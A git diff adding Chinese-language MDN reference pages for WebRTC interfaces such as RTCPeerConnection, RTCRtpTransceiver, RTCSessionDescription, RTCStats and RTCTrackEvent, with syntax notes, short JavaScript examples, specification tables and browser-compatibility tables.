标准状态说明
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-remoteDescription', 'RTCPeerConnection.remoteDescription') }}{{ Spec2('WebRTC 1.0') }}初始化规范
+ +

浏览器兼容性

+ + + +

{{Compat("api.RTCPeerConnection.remoteDescription")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/rtcpeerconnection/removestream/index.html b/files/zh-cn/web/api/rtcpeerconnection/removestream/index.html new file mode 100644 index 0000000000..d8934b29c9 --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/removestream/index.html @@ -0,0 +1,118 @@ +--- +title: RTCPeerConnection.removeStream() +slug: Web/API/RTCPeerConnection/removeStream +translation_of: Web/API/RTCPeerConnection/removeStream +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection.removeStream() 方法用来移除本地音频或视频的 {{domxref("媒体流")}} 。 如果已经发生交互,远程主机可能需要使用一个新的媒体流。

+ +

当 {{domxref("RTCPeerConnection.signalingState", "signalingState")}} 的值为"closed"时,将抛出InvalidStateError异常。当  {{domxref("RTCPeerConnection.signalingState", "signalingState")}} 值为"stable"时, 将触发{{domxref("RTCPeerConnection")}}的 {{event("negotiationneeded")}} 事件。

+ +

语法

+ +
pc.removeStream(mediaStream);
+
+ +

+ 此方法没有返回值。 +

+ +

参数

+ +
+
mediaStream
+
是 {{domxref("MediaStream")}} 类型的表示要移除的媒体流
+
+ +

例子

+ +
var pc, videoStream;
+navigator.getUserMedia({video: true}, function(stream) {
+  pc = new RTCPeerConnection();
+  videoStream = stream;
+  pc.addStream(stream);
+}
+document.getElementById("closeButton").addEventListener("click", function(event) {
+  pc.removeStream(videoStream);
+  pc.close();
+}, false);
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-removeStream-void-MediaStream-stream', 'RTCPeerConnection.removeStream()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }} [1]{{ CompatVersionUnknown }} [1]{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

[1] Though this property is not prefixed, the interface it belongs to is.

+ +

扩展阅读

+ + diff --git a/files/zh-cn/web/api/rtcpeerconnection/rtcpeerconnection/index.html b/files/zh-cn/web/api/rtcpeerconnection/rtcpeerconnection/index.html new file mode 100644 index 0000000000..70ebad3dd1 --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/rtcpeerconnection/index.html @@ -0,0 +1,131 @@ +--- +title: RTCPeerConnection() +slug: Web/API/RTCPeerConnection/RTCPeerConnection +translation_of: Web/API/RTCPeerConnection/RTCPeerConnection +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection()构造函数,返回一个新建的  {{domxref("RTCPeerConnection")}}实例,它代表了本地端机器与远端机器的一条连接。

+ +

语法

+ +
pc = new RTCPeerConnection([configuration]);
+ +

参数

+ +
+
configuration {{optional_inline}}
+
一个RTCConfiguration dictionary 提供了一条新建连接的可选参数。
+
+ +

RTCConfiguration dictionary

+ +

{{page("/en-US/docs/Web/API/RTCConfiguration", "Properties")}}

+ +

返回值

+ +

一个新生成的 {{domxref("RTCPeerConnection")}} 对象, 如果指定了配置信息,它按照指定配置进行配置,否则,它将按照基本配置进行配置。

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebRTC 1.0', '#widl-ctor-RTCPeerConnection--RTCConfiguration-configuration', 'RTCPeerConnection()')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

浏览器支持性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性ChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(22)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
iceCandidatePoolSize{{CompatChrome(59)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性Android WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(24)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
iceCandiatePoolSize{{CompatNo}}{{CompatChrome(59)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

引申阅读

+ + diff --git a/files/zh-cn/web/api/rtcpeerconnection/setconfiguration/index.html b/files/zh-cn/web/api/rtcpeerconnection/setconfiguration/index.html new file mode 100644 index 0000000000..a9e7df89bf --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/setconfiguration/index.html @@ -0,0 +1,99 @@ +--- +title: RTCPeerConnection.setConfiguration() +slug: Web/API/RTCPeerConnection/setConfiguration +translation_of: Web/API/RTCPeerConnection/setConfiguration +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

The RTCPeerConnection.setConfiguration() method sets the current configuration of the {{domxref("RTCPeerConnection")}} based on the values included in the specified {{domxref("RTCConfiguration")}} object. This lets you change the ICE servers used by the connection and which transport policies to use.

+ +

The most common use case for this method (and even then, probably not a very common use case) is to replace the set of ICE servers to be used. Two potential scenarios in which this might be done:

+ + + +
+

You cannot change the identity information for a connection once it's already been set.

+
+ +

语法

+ +
RTCPeerConnection.setConfiguration(configuration);
+ +

参数

+ +
+
configuration
+
{{domxref("RTCConfiguration")}}对象提供一些可以设置的选项。这些选项的改动不会附加到原来的设置,相反,新的选项会完全替代旧的选项。
+
+ +

异常

+ +
+
InvalidAccessError
+
One or more of the URLs specified in configuration.iceServers is a {{Glossary("TURN")}} server, but complete login information is not provided (that is, either the {{domxref("RTCIceServer.username")}} or {{domxref("RTCIceServer.credentials")}} is missing). This prevents successful login to the server.
+
InvalidModificationError
+
The configuration includes changed identity information, but the connection already has identity information specified. This happens if configuration.peerIdentity or configuration.certificates is set and their values differ from the current configuration.
+
InvalidStateError
+
{{domxref("RTCPeerConnection")}} 被关闭.
+
SyntaxError
+
configuration.iceServers 列表提供的一个或多个URL是无效的
+
+ +

Example

+ +

In this example, it has already been determined that ICE restart is needed, and that negotiation needs to be done using a different ICE server.

+ +
var restartConfig = { iceServers: [{
+                          urls: "turn:asia.myturnserver.net",
+                          username: "allie@oopcode.com",
+                          credential: "topsecretpassword"
+                      }]
+};
+
+myPeerConnection.setConfiguration(restartConfig);
+
+myPeerConnection.createOffer({"iceRestart": true}).then(function(offer) {
+  return myPeerConnection.setLocalDescription(offer);
+})
+.then(function() {
+  // send the offer to the other peer using the signaling server
+})
+.catch(reportError);
+ +

First, a new {{domxref("RTCConfiguration")}} is created, restartConfig, specifying the new ICE server and its credentials. This is then passed into setConfiguration(). ICE negotiation is restarted by calling {{domxref("RTCPeerConnection.createOffer()", "createOffer()")}}, specifying true as the value of the iceRestart option. From there, we handle the process as usual, by setting the local description to the returned offer and then sending that offer to the other peer.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-setconfiguration', 'setConfiguration()')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.RTCPeerConnection.setConfiguration")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/rtcpeerconnection/setremotedescription/index.html b/files/zh-cn/web/api/rtcpeerconnection/setremotedescription/index.html new file mode 100644 index 0000000000..9e8db040bc --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/setremotedescription/index.html @@ -0,0 +1,127 @@ +--- +title: RTCPeerConnection.setRemoteDescription() +slug: Web/API/RTCPeerConnection/setRemoteDescription +translation_of: Web/API/RTCPeerConnection/setRemoteDescription +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection.setRemoteDescription() 方法改变与连接相关的描述,该描述主要是描述有些关于连接的属性,例如对端使用的解码器。 连接受此更改影响,并且必须能够支持旧的和新的描述。 方法带三个参数,{{domxref("RTCSessionDescription")}} 对象用于设置,然后是更改成功的回调方法,一个是更改失败的回调方法。

+ +

方法是异步的,不用等待设置完成,成功会调用成功回调方法,失败则会调用错误回调方法。

+ +

连接的offer通常来自于负责匹配的服务器所发送的数据。执行者应调用此方法设置远程描述,然后生成发送到对端计算机的answer。

+ +

语法

+ +
aPromise = pc.setRemoteDescription(sessionDescription);
+
+pc.setRemoteDescription(sessionDescription, successCallback, errorCallback);
+
+ +

这个方法没有返回值。

+ +

参数

+ +
+
sessionDescription
+
Is a {{domxref("DOMString")}} is the description of the parameters to be applied to the remote session.
+
successCallback
+
Is a Function without parameter which will be called when the description has been successfully set. At this point, one can send the offer to a remote server that can forward it to a remote client
+
errorCallback
+
Is a RTCPeerConnectionErrorCallback which will be called if the description can't be set. It takes the following parameter: +
    +
  • errorInformation which is a {{domxref("DOMString")}} describing the reason why the description has not been set.
  • +
+
+
+ +

Example

+ +
var pc = new PeerConnection();
+pc.setRemoteDescription( new RTCSessionDescription( offer ), function() {
+   pc.createAnswer( function( answer ) {
+     pc.setLocalDescription( answer, function() {
+       // send the answer to the remote connection
+    })
+  })
+});
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-setRemoteDescription-void-RTCSessionDescription-description-VoidFunction-successCallback-RTCPeerConnectionErrorCallback-failureCallback', 'RTCPeerConnection.setRemoteDescription()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }} [1]{{ CompatVersionUnknown }} [1]{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

[1] Though this property is not prefixed, the interface it belongs to is.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/rtcrtptransceiver/direction/index.html b/files/zh-cn/web/api/rtcrtptransceiver/direction/index.html new file mode 100644 index 0000000000..09b0fba213 --- /dev/null +++ b/files/zh-cn/web/api/rtcrtptransceiver/direction/index.html @@ -0,0 +1,72 @@ +--- +title: RTCRtpTransceiver.direction +slug: Web/API/RTCRtpTransceiver/direction +translation_of: Web/API/RTCRtpTransceiver/direction +--- +
{{APIRef("WebRTC")}}
+ +

The {{domxref("RTCRtpTransceiver")}} property direction is a string which indicates the transceiver's preferred directionality. Its value must be one of the strings defined by the {{domxref("RTCRtpTransceiverDirection")}} enumeration.

+ +

The transceiver's current direction is indicated by the {{domxref("RTCRtpTransceiver.currentDirection", "currentDirection")}} property.

+ +

Syntax

+ +
var direction = RTCRtpTransceiver.direction
+ +

Value

+ +

A {{domxref("DOMString")}} whose value is one of the strings which are a member of the RTCRtpTransceiverDirection enumerated type, indicating the transceiver's preferred direction. {{page("/en-US/docs/Web/API/RTCRtpTransceiverDirection", "Values")}}

+ +

Exceptions

+ +

When setting the value of direction, the following exceptions can occur:

+ +
+
InvalidStateError
+
Either the receiver's {{domxref("RTCPeerConnection")}} is closed or the {{domxref("RTCRtpReceiver")}} is stopped.
+
+ +

Usage notes

+ +

Setting the direction

+ +

When you change the value of direction, an InvalidStateError exception will occur if the connection is closed or the receiver is stopped.

+ +

If the new value of direction is in fact different from the existing value, renegotiation of the connection is required, so a {{event("negotiationneeded")}} event is sent to the {{domxref("RTCPeerConnection")}}.

+ +

Effect on offers and answers

+ +

The value of direction is used by {{domxref("RTCPeerConnection.createOffer()")}} or {{domxref("RTCPeerConnection.createAnswer()")}} in order to generate the SDP generated by each of those methods. The SDP contains an a-line which specifies the directionality. For example, if the direction is specified as "sendrecv", the corresponding SDP a-line is:

+ +
a=sendrecv
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("WebRTC 1.0", "#dom-rtcrtptransceiver-direction", "RTCRtpTransceiver.direction")}}{{Spec2("WebRTC 1.0")}}
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.RTCRtpTransceiver.direction")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/rtcrtptransceiver/index.html b/files/zh-cn/web/api/rtcrtptransceiver/index.html new file mode 100644 index 0000000000..2bd4589dab --- /dev/null +++ b/files/zh-cn/web/api/rtcrtptransceiver/index.html @@ -0,0 +1,85 @@ +--- +title: RTCRtpTransceiver +slug: Web/API/RTCRtpTransceiver +tags: + - API + - Interface + - Media + - MediaStreamTrack + - NeedsTranslation + - RTCRtpTransceiver + - RTP + - Reference + - SDP + - TopicStub + - Transceiver + - WebRTC +translation_of: Web/API/RTCRtpTransceiver +--- +
{{APIRef("WebRTC")}}
+ +

The WebRTC interface RTCRtpTransceiver describes a permanent pairing of an {{domxref("RTCRtpSender")}} and an {{domxref("RTCRtpReceiver")}}, along with some shared state.

+ +

Each {{Glossary("SDP")}} media section describes one bidirectional SRTP ("Secure Real Time Protocol") stream (excepting the media section for {{domxref("RTCDataChannel")}}, if present). This pairing of send and receive SRTP streams is significant for some applications, so RTCRtpTransceiver is used to represent this pairing, along with other important state from the media section. Each non-disabled SRTP media section is always represented by exactly one transceiver.

+ +

A transceiver is uniquely identified using its {{domxref("RTCRtpTransceiver.mid", "mid")}} property, which is the same as the media ID (mid) of its corresponding m-line. An RTCRtpTransceiver is associated with an m-line if its mid is non-null; otherwise it's considered disassociated.

+ +

Properties

+ +
+
{{domxref("RTCRtpTransceiver.currentDirection", "currentDirection")}} {{ReadOnlyInline}}
+
A read-only string from the enum {{domxref("RTCRtpTransceiverDirection")}} which indicates the transceiver's current directionality, or null if the transceiver is stopped or has never participated in an exchange of offers and answers. To change the transceiver's directionality, set the value of the {{domxref("RTCRtpTransceiver.direction", "direction")}} property.
+
{{domxref("RTCRtpTransceiver.direction", "direction")}}
+
A string from the enum {{domxref("RTCRtpTransceiverDirection")}} which is used to set the transceiver's desired direction.
+
{{domxref("RTCRtpTransceiver.mid", "mid")}} {{ReadOnlyInline}}
+
The media ID of the m-line associated with this transceiver. This association is established, when possible, whenever either a local or remote description is applied. This field is null if neither a local or remote description has been applied, or if its associated m-line is rejected by either a remote offer or any answer.
+
{{domxref("RTCRtpTransceiver.receiver", "receiver")}} {{ReadOnlyInline}}
+
The {{domxref("RTCRtpReceiver")}} object that handles receiving and decoding incoming media.
+
{{domxref("RTCRtpTransceiver.sender", "sender")}} {{ReadOnlyInline}}
+
The {{domxref("RTCRtpSender")}} object responsible for encoding and sending data to the remote peer.
+
{{domxref("RTCRtpTransceiver.stopped", "stopped")}}
+
Indicates whether or not sending and receiving using the paired RTCRtpSender and RTCRtpReceiver has been permanently disabled, either due to SDP offer/answer, or due to a call to {{domxref("RTCRtpTransceiver.stop", "stop()")}}.
+
+ +

Methods

+ +
+
{{domxref("RTCRtpTransceiver.setCodecPreferences", "setCodecPreferences()")}}
+
A list of {{domxref("RTCRtpCodecParameters")}} objects which override the default preferences used by the {{Glossary("user agent")}} for the transceiver's codecs.
+
{{domxref("RTCRtpTransceiver.stop", "stop()")}}
+
Permanently stops the RTCRtpTransceiver. The associated sender stops sending data, and the associated receiver likewise stops receiving and decoding incoming data.
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("WebRTC 1.0", "#rtcrtptransceiver-interface", "RTCRtpTransceiver")}}{{Spec2("WebRTC 1.0")}}
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.RTCRtpTransceiver")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/rtcsessiondescription/index.html b/files/zh-cn/web/api/rtcsessiondescription/index.html new file mode 100644 index 0000000000..ff94b0eb5f --- /dev/null +++ b/files/zh-cn/web/api/rtcsessiondescription/index.html @@ -0,0 +1,167 @@ +--- +title: RTCSessionDescription +slug: Web/API/RTCSessionDescription +translation_of: Web/API/RTCSessionDescription +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCSessionDescription 接口描述连接或潜在连接的一端的配置方式。 每一个RTCSessionDescription 由一个描述类型组成,该描述类型指示它所描述的请求/应答协商过程的{{Glossary("SDP")}} 协议的相关描述。

+ +

RTCSessionDescription 在两个对等点之间协商连接的过程涉及来回交换对象,每个描述都表示描述的发送者支持的连接配置选项的一个组合。一旦两个对等方就连接的配置达成一致,协商就完成了。

+ +

属性

+ +

RTCSessionDescription 接口不继承任何属性 

+ +
+
{{domxref("RTCSessionDescription.type")}} {{ReadOnlyInline}}
+
{{anch("RTCSdpType")}} 会话描述类型的原型枚举。
+
+ +
+
{{domxref("RTCSessionDescription.sdp")}} {{ReadOnlyInline}}
+
一个 {{domxref("DOMString")}} 包含会话的{{Glossary("SDP")}}协议描述。
+
+ +

常数

+ +

RTCSdpType

+ +

当前枚举值定义当前会话描述的状态,例如这个属性: {{domxref("RTCSessionDescription.type", "type")}} 。 会话描述的值将使用如下值之一。

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
ValueDescription
answerSDP协议请求内容包含在属性{{domxref("RTCSessionDescription.sdp", "sdp")}}中。 换言之,此会话描述描述了商定的配置,并将被发送以完成协商。.
offer该会话描述对象描述首次握手的请求/响应。会话过程从发送方到接收方。
pranswer会话描述对象描述一个临时响应;也就是说,它是对以前的提议或临时答案的响应。
rollback具有空会话描述的这种特殊类型用于回滚到以前的稳定状态。
+ +

方法

+ +

RTCSessionDescription 不继承任何方法。

+ +
+
{{domxref("RTCSessionDescription.RTCSessionDescription", "RTCSessionDescription()")}} {{deprecated_inline}}
+
该构造函数返回一个新的RTCSessionDescription对象。参数是 RTCSessionDescriptionInit 字典包含包含分配这两个属性的值。
+
{{domxref("RTCSessionDescription.toJSON()")}}
+
返回一个{{Glossary("JSON")}} 描述对象. 该对象包含两个值, {{domxref("RTCSessionDescription.type", "type")}} 和{{domxref("RTCSessionDescription.sdp", "sdp")}}。
+
+ +

Example

+ +
signalingChannel.onmessage = function (evt) {
+    if (!pc)
+        start(false);
+
+    var message = JSON.parse(evt.data);
+    if (message.sdp)
+        pc.setRemoteDescription(new RTCSessionDescription(message), function () {
+            // if we received an offer, we need to answer
+            if (pc.remoteDescription.type == "offer")
+                pc.createAnswer(localDescCreated, logError);
+        }, logError);
+    else
+        pc.addIceCandidate(new RTCIceCandidate(message.candidate),
+            function () {}, logError);
+};
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WebRTC 1.0', '#rtcsessiondescription-class', 'RTCSessionDescription') }}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown }} {{property_prefix("-moz")}}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/rtcstats/id/index.html b/files/zh-cn/web/api/rtcstats/id/index.html new file mode 100644 index 0000000000..1d4ae33a15 --- /dev/null +++ b/files/zh-cn/web/api/rtcstats/id/index.html @@ -0,0 +1,47 @@ +--- +title: RTCStats.id +slug: Web/API/RTCStats/id +tags: + - RTCStats + - WebRTC + - id + - 属性 + - 统计信息 +translation_of: Web/API/RTCStats/id +--- +
{{APIRef("WebRTC")}}
+ +

{{domxref("RTCStats")}} 字典的 id 属性是一个字符串,用于唯一标识此 RTCStats 对象提供统计信息的对象。 使用 id, 可以关联两个或多个基于 RTCStats 的对象,以便随时监视给定 WebRTC 对象的统计信息,例如一个 {{Glossary("RTP")}} 流,{{domxref("RTCPeerConnection")}},或 {{domxref("RTCDataChannel")}}。

+ +

语法

+ +
var id = RTCStats.id;
+ +

+ +

一个 {{domxref("DOMString")}},用于唯一标识基于此 RTCStats 对象提供统计信息的对象。

+ +

ID 字符串的格式不是由规范定义的,因此无法可靠地对字符串的内容进行任何假设。也不能假设对于给定的对象类型,字符串的格式将保持不变。

+ +

规范

+ + + + + + + + + + + + + + +
标准状态说明
{{SpecName('WebRTC 1.0', '#dom-rtcstats-id', 'RTCStats.id')}}{{Spec2('WebRTC 1.0')}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.RTCStats.id")}}

diff --git a/files/zh-cn/web/api/rtcstats/index.html b/files/zh-cn/web/api/rtcstats/index.html new file mode 100644 index 0000000000..9c95acc3b2 --- /dev/null +++ b/files/zh-cn/web/api/rtcstats/index.html @@ -0,0 +1,84 @@ +--- +title: RTCStats +slug: Web/API/RTCStats +tags: + - API + - Dictionary + - NeedsTranslation + - RTCStats + - Reference + - Report + - Statistics + - Stats + - TopicStub + - WebRTC + - rtc +translation_of: Web/API/RTCStats +--- +
{{APIRef("WebRTC")}}
+ +

The RTCStats dictionary is the basic statistics object used by WebRTC's statistics monitoring model, providing the properties required of all statistics data objects. Specific classes of statistic are defined as dictionaries based on RTCStats. For example, statistics about a received {{Glossary("RTP")}} stream are represented by {{domxref("RTCReceivedRtpStreamStats")}}.

+ +

Properties

+ +
+
{{domxref("RTCStats.id", "id")}}
+
A {{domxref("DOMString")}} which uniquely identifies the object which was inspected to produce this object based on RTCStats.
+
{{domxref("RTCStats.timestamp", "timestamp")}}
+
A {{domxref("DOMHighResTimeStamp")}} object indicating the time at which the sample was taken for this statistics object.
+
{{domxref("RTCStats.type", "type")}}
+
A {{domxref("DOMString")}} indicating the type of statistics the object contains, taken from the enum type {{domxref("RTCStatsType")}}.
+
+ +

The statistics type hierarchy

+ +

The various dictionaries that are used to define the contents of the objects that contain each of the various types of statistics for WebRTC are structured in such a way that they build upon the core RTCStats dictionary, each layer adding more relevant information.

+ + + +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WebRTC 1.0', '#dom-rtcstats', 'RTCStats') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

Browser compatibility

+ + + +

{{Compat("api.RTCStats")}}

diff --git a/files/zh-cn/web/api/rtcstatsreport/index.html b/files/zh-cn/web/api/rtcstatsreport/index.html new file mode 100644 index 0000000000..5b27d47a95 --- /dev/null +++ b/files/zh-cn/web/api/rtcstatsreport/index.html @@ -0,0 +1,65 @@ +--- +title: RTCStatsReport +slug: Web/API/RTCStatsReport +translation_of: Web/API/RTCStatsReport +--- +

{{APIRef("WebRTC")}}

+ +

{{draft("该页面目前尚不完整,正在建设中。 请注意,它还不能解答您所有的问题。")}}

+ +

RTCStatsReport 接口提供了通过调用 {{domxref("RTCPeerConnection.getStats()")}}, {{domxref("RTCRtpReceiver.getStats()")}},和 {{domxref("RTCRtpSender.getStats()")}} 这三个方法之一所获得的统计报告。该统计报告包含统计类别字符串名称到包含相应统计数据的对象的映射。

+ +

在 {{domxref("RTCPeerConnection")}} 上调用 getStats() 可以指定是希望获取连接上的出站,入站还是所有流的统计信息。 getStats() 的 {{domxref("RTCRtpReceiver")}} 和 {{domxref("RTCRtpSender")}} 版本仅返回可用于调用它们的传入或传出流的统计信息。

+ +

统计对象

+ +

对于每种统计信息类别,都有一个字典,字典的属性提供相关信息。

+ +

所有统计类别共有的属性

+ +

所有 WebRTC 统计对象都基于 {{domxref("RTCStats")}} 字典,该字典提供了最基本的信息:时间戳,统计类型字符串和唯一标识数据源的ID:

+ +

{{page("/en-US/docs/Web/API/RTCStats", "Properties")}}

+ +

统计类别

+ +

{{domxref("RTCStats.type", "type")}} 给出了对象所代表的统计类别的名称,以及如何查找所需的特定数据类型。统计类别名称是枚举类 {{domxref("RTCStatsType")}} 的成员,如下所示:

+ +

{{page("/en-US/docs/Web/API/RTCStatsType", "Values")}}

+ +

使用 RTCStatsReport

+ +

... 即将到来 ...

+ +

规范

+ + + + + + + + + + + + + + + + +
标准状态说明
{{ SpecName('WebRTC 1.0', '#rtcstatsreport-object', 'RTCStatsReport') }}{{ Spec2('WebRTC 1.0') }}初始规范
+ +

浏览器兼容性

+ + + +

{{Compat("api.RTCStatsReport")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/rtctrackevent/index.html b/files/zh-cn/web/api/rtctrackevent/index.html new file mode 100644 index 0000000000..85143fcec1 --- /dev/null +++ b/files/zh-cn/web/api/rtctrackevent/index.html @@ -0,0 +1,95 @@ +--- +title: RTCTrackEvent +slug: Web/API/RTCTrackEvent +tags: + - API + - Interface + - Media + - NeedsTranslation + - RTCTrackEvent + - Reference + - TopicStub + - WebRTC + - WebRTC API + - events + - rtc + - track +translation_of: Web/API/RTCTrackEvent +--- +
{{APIRef("WebRTC")}}
+ +

The WebRTC API interface RTCTrackEvent represents the {{event("track")}} event, which is sent when a new {{domxref("MediaStreamTrack")}} is added to an {{domxref("RTCRtpReceiver")}} which is part of the {{domxref("RTCPeerConnection")}}. The target is the RTCPeerConnection object to which the track is being added.

+ +

This event is sent by the WebRTC layer to the web site or application, so you will not typically need to instantiate an RTCTrackEvent yourself.

+ +

Constructor

+ +
+
{{domxref("RTCTrackEvent.RTCTrackEvent", "RTCTrackEvent()")}}
+
Creates and returns a new RTCTrackEvent object, initialized with properties taken from the specified {{domxref("RTCTrackEventInit")}} dictionary. You will probably not need to create new track events yourself, since they're typically created by the WebRTC infrastructure and sent to the connection's {{domxref("RTCPeerConnection.ontrack", "ontrack")}} event handler.
+
+ +

Properties

+ +

Since RTCTrackEvent is based on {{domxref("Event")}}, its properties are also available.

+ +
+
{{domxref("RTCTrackEvent.receiver", "receiver")}} {{ReadOnlyInline}}
+
The {{domxref("RTCRtpReceiver")}} used by the track that's been added to the RTCPeerConnection.
+
{{domxref("RTCTrackEvent.streams", "streams")}} {{ReadOnlyInline}} {{optional_inline}}
+
An array of {{domxref("MediaStream")}} objects, each representing one of the media streams to which the added {{domxref("RTCTrackEvent.track", "track")}} belongs. By default, the array is empty, indicating a streamless track.
+
{{domxref("RTCTrackEvent.track", "track")}} {{ReadOnlyInline}}
+
The {{domxref("MediaStreamTrack")}} which has been added to the connection.
+
{{domxref("RTCTrackEvent.transceiver", "transceiver")}} {{ReadOnlyInline}}
+
The {{domxref("RTCRtpTransceiver")}} being used by the new track.
+
+ +

Track event types

+ +

There is only one type of track event.

+ +

track

+ +

The {{domxref("RTCPeerConnection.track_event", "track")}} event is sent to the {{domxref("RTCPeerConnection")}} when a new track has been added to the connection. By the time the track event is delivered to the RTCPeerConnection's {{domxref("RTCPeerConnection.ontrack", "ontrack")}} handler, the new media has completed its negotiation for a specific {{domxref("RTCRtpReceiver")}} (which is specified by the event's {{domxref("RTCTrackEvent.receiver", "receiver")}} property).

+ +

In addition, the {{domxref("MediaStreamTrack")}} specified by the receiver's {{domxref("RTCRtpReceiver.track", "track")}} is the same one specified by the event's {{domxref("RTCTrackEvent.track", "track")}}, and the track has been added to any associated remote {{domxref("MediaStream")}} objects.

+ +

You can add a track event listener to be notified when the new track is available so that you can, for example, attach its media to a {{HTMLElement("video")}} element, using either {{domxref("EventTarget.addEventListener", "RTCPeerConnection.addEventListener()")}} or the ontrack event handler property.

+ +
+

Note: It may be helpful to keep in mind that you receive the track event when a new inbound track has been added to your connection, and you call {{domxref("RTCPeerConnection.addTrack", "addTrack()")}} to add a track to the far end of the connection, thereby triggering a track event on the remote peer.

+
+ +

Example

+ +

This simple example creates an event listener for the {{domxref("RTCPeerConnection.track_event", "track")}} event which sets the {{domxref("HTMLMediaElement.srcObject", "srcObject")}} of the {{HTMLElement("video")}} element with the ID videobox to the first stream in the list passed in the event's {{domxref("RTCTrackEvent.streams", "streams")}} array.

+ +
peerConnection.addEventListener("track", e => {
+  let videoElement = document.getElementById("videobox");
+  videoElement.srcObject = e.streams[0];
+}, false);
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebRTC 1.0', '#dom-rtctrackevent', 'RTCTrackEvent')}}{{Spec2('WebRTC 1.0')}}Initial specification.
+ +

Browser compatibility

+ + + +

{{Compat("api.RTCTrackEvent")}}

